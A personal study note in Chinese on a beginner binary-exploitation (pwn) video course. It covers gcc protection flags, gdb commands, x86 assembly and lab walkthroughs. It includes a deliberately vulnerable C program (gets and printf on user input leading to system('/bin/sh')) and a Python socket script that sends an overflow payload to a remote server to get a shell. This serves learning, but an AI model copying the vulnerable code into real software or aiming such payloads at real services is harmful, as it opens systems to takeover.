--b站up主"国资社畜“《你想有多pwn》学习记录与补充
qaq真的很感谢这个up主提供的pwn入门课程,对pwn新手真的特别友好,学pwn必备!感觉看了一部分《程序员的自我修养》和这个课,可以说打通了一小部分pwn的任督二脉了,总之算是学pwn的一个很好开头,希望今后的学习也能保持这种状态!
上面的之所以是副武器,因为实际上并不算经常用或者用的不多。
(1)-o参数:gcc xx.c -o 程序名
【直接编译成程序】 可以发现直接编译后所有的保护都已开启:
(2)-S参数:gcc -S xx.c
【编译成汇编代码(注意这里和objdump反汇编出来的还是有点差别的,这个是程序对应的真正的汇编代码)】 两者的区别如下: 可以发现前者显示结果更加简洁,并且几乎只有汇编指令,也不像后者还有包含.plt等其他elf程序节中的细节信息
(3)-m32参数: 将程序用x86指令集编译成32位程序,但是要注意得提前安装好相应的库:
(4)-O参数: 关于gcc的-O选项,有对应的等级,默认是1,意思是编译时优化的级别,比如课程中的源码:
观察源码会发现这里的if体中不可能执行,因为一开始都没有为b[0]赋值,但是编译时如果采取默认的优化级别,编译器会本着实事求是的原则,既然写了,就让该部分被编译,所以我们最终能实现缓冲区溢出获取shell,但是如果编译时优化级别设置较高,比如-O3
,那么编译器会认为其不可能执行,所以不将该部分编译,我们就获取不到shell,也就是不可能执行func(sh)
(5)-static参数: gcc加参数-static
即可静态编译,静态编译后的程序明显比默认用动态编译的程序占用空间大:
发现当检查保护的时候,同样都是默认编译的64位程序,静态程序则默认没有开启PIE: 查看文件时也存在些差异: 注意到静态程序是叫executable
,动态程序是叫shared object
,发现既有标明静/动态链接,动态链接程序还标出了依赖外部的动态共享库文件/lib64/ld-linux-x86-64.so.2
,而前者没有,因为静态链接可执行文件已包含了所有必需的库文件,不需要依赖外部的共享库
而且当查看两者的汇编指令时也能发现: 静态程序是: 而动态程序是: 发现汇编代码几乎是一样的,只是偏移位置不一样,还有call调用函数时,动态链接程序是xxx@plt
,即得从plt表中寻找,因为前面提到过动态链接程序要依赖外部共享库
(6)-fno-omit-frame-pointer参数: 对解题的方法没啥区别,只是汇编指令部分发生了些变化。观察会发现原来基本都是以rbp/ebp为基准来计算、赋值的,加了该参数后,有些地方就可能以rsp/esp为基准。 同样还是以64位程序为例,只加该编译参数。
chatgpt对该参数的解释: 通过使用该选项,编译器将禁用帧指针的省略优化,确保帧指针在编译后的二进制文件中保留,例如,在进行调试或进行栈回溯(stack backtrace)时,帧指针可以提供更好的调试信息,帮助开发人员跟踪函数调用链和定位问题。
(7)-no-pie参数 效果看下面的实验。
设置默认以intel格式输出反汇编代码:
最上面加上:
gdb 程序名
【加载程序】 si 【步入】 ni 【步过】 finish 【步出】 start 【开始运行到程序入口点(注意是由gcc内部机制判断出来的,不一定完全准确,所以有些情况需要自己手动判断)】i r
【这里是缩写,下文同理,查看当前所有用到的寄存器状态】disassemble $rip
【反编译当前rip所在的指令上下文】
p $寄存器
【打印寄存器中存的值(有时候还能用来计算寄存器的偏移地址,比如p $rbp-0x10 )】p &函数名
【打印符号表中存在的某个函数地址】
b *地址
【设置断点】i b
【查看所有设置的断点】d 断点对应的序号
【删除指定断点(但是在实际运用中,一般不采用删除断点,而是让其失效,万一下次还要用到)】disable b 断点对应的序号
【让指定断点失效】enable b 断点对应的序号
【让已失效断点重新激活】 c(continue) 【运行到下一个断点为止】
x/20i 地址或$rip
【以汇编代码格式显示从该地址开始的20条内存单元中的数据】 (下面如果想要数据输出格式为十六进制,可以再加个x,如gx)x/20b 地址或$rip
【以每1byte十进制格式显示从该地址开始的20条内存单元中的数据】x/20g 地址或$rip
【以每8byte十进制格式显示从该地址开始的20条内存单元中的数据】x/20s 地址或$rip
【以字符串格式...】
set *地址=值
【将某个地址中的值设置为我们想要的值】
如果要设置寄存器中的值呢? 注意要强制转换一下先,如:set *((unsigned int)$ebp)=0x18
用于显示当前线程的内存映射信息 ,通过查看内存映射信息,可以了解程序的内存布局,包括代码段、数据段、堆、栈以及共享库等的位置和属性。
小背景:由于现在版本的编译器比起以前越来越智能,实际上很多指令在编译器编译时都很少用到了,一般都会做优化处理,而且时代变了,寄存器也不再像从前那样细分若干个并几乎各司其值,很多寄存器实际上编译时也用不到了,除了少部分寄存器几乎只履行自己职责外,如bp和sp类型寄存器一般用于栈操作、ip类型寄存器用于指向当前指令位置,大部分的很多寄存器其实都可以身兼多职。总之,ip类寄存器是老大,最重要的,bp类是老二,sp类是老三,因为内存离不开栈,栈需要bp和sp工作,剩余其他寄存器现在几乎都没啥区别了,也不是特别重要。
现在的编译器一般不用lea作为载入地址了(但是如果不加方括号的情况下是作为该原用途),一般用于计算, 比如 lea rax,[rbp-0x18]
【把rbp地址减去0x18后的地址给rax】
那么为什么不用
因为这是编译器为了提高效率优化的方式,它占用的指令长度也更短。而且这种方式还不需要改变rbp的值就可以实现
一般用于将寄存器的值归零,如xor eax,eax
两个都是减,只是相减后的结果处理不同,cmp对相减后的结果不进行赋值存储 ,仅用于作判断,和条件跳转指令搭配着用,其实c语言中只要包含cmp的函数都是这个原理
and eax,eax
test eax,eax
-> eax&eax
, eax=0则结果为0;eax!=0则结果为!0
与sub和cmp的区别同理,test和and指令差不多,只是test只用于比较最后不赋值 ,而and赋值。 另外,这里的test eax,eax
其实就相当于cmp eax,0
,只是编译器为了优化而选用test而已。
如move eax,BYTE PTR [rbp-0x10]
,其中PTR代表指针, 意思是把[rbp-0x10]地址的值中取1个BYTE即8位给eax寄存器。
常见的单位还有:
在传递数据时,cpu会优先从寄存器中取值 ,但是寄存器数量有限,如果定义的变量数目远超过寄存器数量,那么多余的变量会先存储在虚拟内存空间中,当需要时再和寄存器做交互传递值。比如上面的[rbp-0x10]就是从虚拟内存地址中找到然后传值的,然后像push就是把暂时用不到的先放到虚拟内存中。
这个函数常用于做字符串比较,实际看反汇编代码过程中其实当成cmp去识别就好了
常用的部署命令:
因为有些时候比如题目中的比较字符是一个不可打印字符 ,如0x10,虽然我们在gdb调试中可以试着将虚拟内存中对应的数据改成0x10从而getshell,但是在shell中运行程序时是输入不了像0x10这样的不可打印字符的,如果我们输入它,会被当成字符串,也就是会把0x10拆分着看,而不是将其当作一个整体,所以这时候要用到python脚本中已有的模块来实现
gcc版本都是在9.3~9.4的,并且在ubuntu20.04环境编译,部分题要在其他系统利用记得要带上相应的动态链接库.so文件
demo位置:/chapter_1/test_1/question_1_x64
简单代码审计分析:
我们刚拿到程序时首先要直到它都做了啥,所以第一步先运行程序: 显然就是获取我们的输入然后再输出而已。
然后开始调试,首先gdb加载程序进行简单的反汇编代码分析后,在如下位置设一个断点(设完断点下次重新运行时就可以快速run到该位置,而不需要反复地ni再寻找): 因为后面的cmp al,0x61
就是决定是否跳转的关键(因为它就是源代码if条件中的底层判断实现),如果跳转了那就和我们的shell说拜拜了,所以我们可以在该断点处(也就是gets这个不安全输入)执行之前进行修改内存中的值从而实现绕过,假设一开始我们也不知道源码即纯黑盒测试的情况,那么我们肯定也不知道具体要输入多少个字符来实现溢出,在哪个位置放我们的溢出字符,还无法精准利用,所以刚开始的思路就是随便输入多一些字符,看它们在内存中的什么位置,注意这里的内存指的是虚拟内存空间。这里我们就随便输入hhhhhhhhhhhhhh
,然后我们注意到在cmp al,0x61
前的指令movzx eax, byte ptr [rbp - 0x10]
,把地址[rbp - 0x10]中的值给eax,而cmp的比较中al又包含在eax中,两者是有关联的!(所以这个地方也可以下一个断点)。显然此时我们肯定得先看看[rbp - 0x10]中都存的是啥,即它的虚拟内存空间情况:
注意如果是用g格式来输出的话,要注意大小端序的问题,内存中一般用的是小端序 对比该处反汇编指令movzx eax, byte ptr [rbp - 0x10]
,可以发现这里只是把[rbp - 0x10]即地址0x7fffffffe350位置存的第一个字节0x68(即输入中的h)
【来自于ascii码表的比对】
给寄存器rax的最低位al而已,从这也能发现我们实际上只要输入8个任意字符加上溢出字符a(其对应的ascii码十六进制正好是0x61)即可: 所以如果此时就可以通过修改内存,把地址0x7fffffffe370处的这个溢出字符0x68改成0x61,后续就能实现不跳转从而getshell了: 然后步过到下一条指令,检查一下rax是不是确实也变成了0x61: 然后一直步过发现确实就能执行到func从而getshell了: 最后再运行程序利用一下:
(1)编译时加上-fno-omit-frame-pointer参数: demo位置:/chapter_1/test_3/question_1_x64_rsp
源码一样,打法也一样,这里主要看加该参数后动态调试时有什么变化: 可以发现原本是以rbp来作为计算的基准了,现在都变成了rsp,也就是编译时默认优化rsp被取消了
(2)编译时加上-O3参数: demo位置:/chapter_1/test_3/question_1_x64_O3
对比发现加了O3优化之后就打不通了:
(3)编译时加上-no-pie参数: demo位置:/chapter_1/test_4/question_1_x64_nopie
源码一样,打法也一样,看看变化: 可以发现这里所有地址偏移都变成了以0x40开头和原来不同了,然后我们来对比一下运行时(即此时动态调试中通过gdb实现的反汇编代码)和编译时(即真正的汇编代码),以此处的gets函数的地址为例:
可以用objdump:
(可是objdump好像也是通过反汇编?那这里用objdump作对比ok吗?难道不应该直接编译成汇编代码来对比吗?不对,可是这样就看不到地址了。。踩个坑)
(--来填坑啦^-^通过和chatgpt的讨论,搞明白了: )
所以这里是对比加了-no-pie编译后,程序运行前后反汇编代码的变化 因此可以通过这种方式比较: 发现两者地址是一样的,这就是开了-no-pie后的效果,再看一下默认有pie编译后的(即最初的程序): 很明显不同了
demo位置:/chapter_1/test_5/question_2_x64
简单代码审计分析:
调试过程也大同小异,这里就省略了。
demo位置:/chapter_1/test_6/question_1_plus_x64
简单代码审计分析:
刚好这里就很贴近于实际打pwn的情况,为了模拟,我们把这个题目部署到远程云服务器的ubuntu20.04打一下,使用的python脚本:
然后自行测试是否能打通。(补充:之前用ubuntu20测试是可以的,但是后续打不通了,不知道为什么,估计和apt管理的包更新后gcc版本等有关系吧,不细究了)
demo位置:/chapter_1/test_7/question_3_x64
简单代码审计分析:
调试分析后发现这两行指令比较关键: 仔细观察,整个反汇编代码结构其实和上面的程序很像。这里的mov主要是将地址[rbp-0x10]开始的8个字节都给rdx寄存器,这里出现的call rdx
就很有意思,因为之前常见的都是call某个函数,我们可以稍微了解一下rdx一般用来干嘛的: 了解到,原来rdx还可以用来存储函数地址然后间接调用,这刚好也就是解出这道题目的核心了,因为这里的地址最初是来源于我们的输入内容的一部分,换句话说,这里间接调用的call的函数地址是可控的!好家伙,还能这么玩。所以我们同样在执行这条汇编指令之前尝试修改[rbp-0x10]内存中的数据,在这之前先随便输入:hhhhhhhhhhhhhh,同样通过查看[rbp-0x10]对应的虚拟内存,来跟踪到我们的输入: 和之前同理,修改该位置,那修改成什么好呢?
前面都是直接修改成某个字符或者字符串对应的ascii码十六进制,上面又讲到地址可控,我们最终目的是getshell,自然而然想到那就让它调用func函数!
先看看func的地址然后改内存,同时我们修改后要注意大小端序问题,然后由最后指向的地址来判断我们修改的是否正确: 从结果来看,我们前面set执行完变成了大端序的方式存储,而一般来说x/bx后应该是以小端序存储,我们有可能搞错了,直接ni到call rdx
,验证下: 发现该地址确实是我们想要的顺序,说明并没有搞错。
但很奇怪,发现只修改成功了一半,为什么呢?把疑惑告诉了chatgpt: 发现这个地址也确实是可以被0x8
整除的: 也就是说我们需要再将其填充成八个字节才能满足对齐,即0x000000000040121f
,才能成功覆盖,但是构造的set指令就稍微会复杂点,也就是要加入强制转换:set *(long long*)0x7fffffffe340=0x000000000040121f
,那为什么要这样写? 然后发现确实修改成功了: 再继续ni到call rdx
然后直到程序结束: 还可以不强制转换,修改完前面四个字节后再试着用0x0来填充后四个字节: 成功!
由于前面只是在gdb动态调试过程中在本地强制修改内存值,但显然打的时候要用python脚本打,可以用前面的模板做尝试,唯一要改变的地方就是payload的值:
这里的偏移是0x4的原因在于,因为刚刚从我们第一个的输入h对应的十六进制ascii码0x68到溢出位是4个字节的距离。 但是上面的模板只能打远程,并且不知道什么原因部署远程的时候打的有问题,就直接另写脚本打通本地的pwn了:
摘自个人博客
sudo
apt-get
install
gcc-multilib g++-multilib module-assistant
sudo
apt-get
install
gcc-multilib g++-multilib module-assistant
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char
sh[]=
"/bin/sh"
;
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
func(
char
*cmd){
system
(cmd);
return
0;
}
int
main(){
char
a[8] = {};
char
b[8] = {};
puts
(
"input:"
);
gets
(a);
printf
(a);
if
(b[0]==
'a'
){
func(sh);
}
return
0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char
sh[]=
"/bin/sh"
;
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
func(
char
*cmd){
system
(cmd);
return
0;
}
int
main(){
char
a[8] = {};
char
b[8] = {};
puts
(
"input:"
);
gets
(a);
printf
(a);
if
(b[0]==
'a'
){
func(sh);
}
return
0;
}
vim ~/.gdbinit
set
disassembly
-
flavor intel
set
disassembly
-
flavor intel
sub rbp,
0x18
mov rax,rbp
WORD DWORD QWORD
16
位
32
位
64
位
WORD DWORD QWORD
16
位
32
位
64
位
socat tcp-l:端口,fork
exec
:./程序名,reuseaddr
socat tcp-l:端口,fork
exec
:./程序名,reuseaddr
import
socket
import
telnetlib
import
struct
def
P32(val):
return
struct.pack("", val)
def
pwn():
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((
"xxx.xxx.xxx.xxx"
,
7777
))
payload
=
'A'
*
8
+
'/x10'
s.sendall(payload
+
'n'
)
t
=
telnetlib.Telnet()
t.sock
=
s
t.interact()
if
__name__
=
=
"__main__"
:
pwn()
/
/
该脚本实际上就是模拟我们nc连接远程服务器,然后输入
8
个A拼接上不可见字符
0x10
来getshell而已。并且当然实际上常用的不是这么写的,会用到pwntools等模块,比上面的简洁方便很多
import
socket
import
telnetlib
import
struct
def
P32(val):
return
struct.pack("", val)
def
pwn():
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((
"xxx.xxx.xxx.xxx"
,
7777
))
payload
=
'A'
*
8
+
'/x10'
s.sendall(payload
+
'n'
)
t
=
telnetlib.Telnet()
t.sock
=
s
t.interact()
if
__name__
=
=
"__main__"
:
pwn()
/
/
该脚本实际上就是模拟我们nc连接远程服务器,然后输入
8
个A拼接上不可见字符
0x10
来getshell而已。并且当然实际上常用的不是这么写的,会用到pwntools等模块,比上面的简洁方便很多
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char
sh[]=
"/bin/sh"
;
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
func(
char
*cmd){
system
(cmd);
return
0;
}
int
main(){
char
a[8] = {};
char
b[8] = {};
puts
(
"input:"
);
gets
(a);
printf
(a);
if
(b[0]==
'a'
){
func(sh);
}
return
0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char
sh[]=
"/bin/sh"
;
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
func(
char
*cmd){
system
(cmd);
return
0;
}
int
main(){
char
a[8] = {};
char
b[8] = {};
puts
(
"input:"
);
gets
(a);
printf
(a);
if
(b[0]==
'a'
){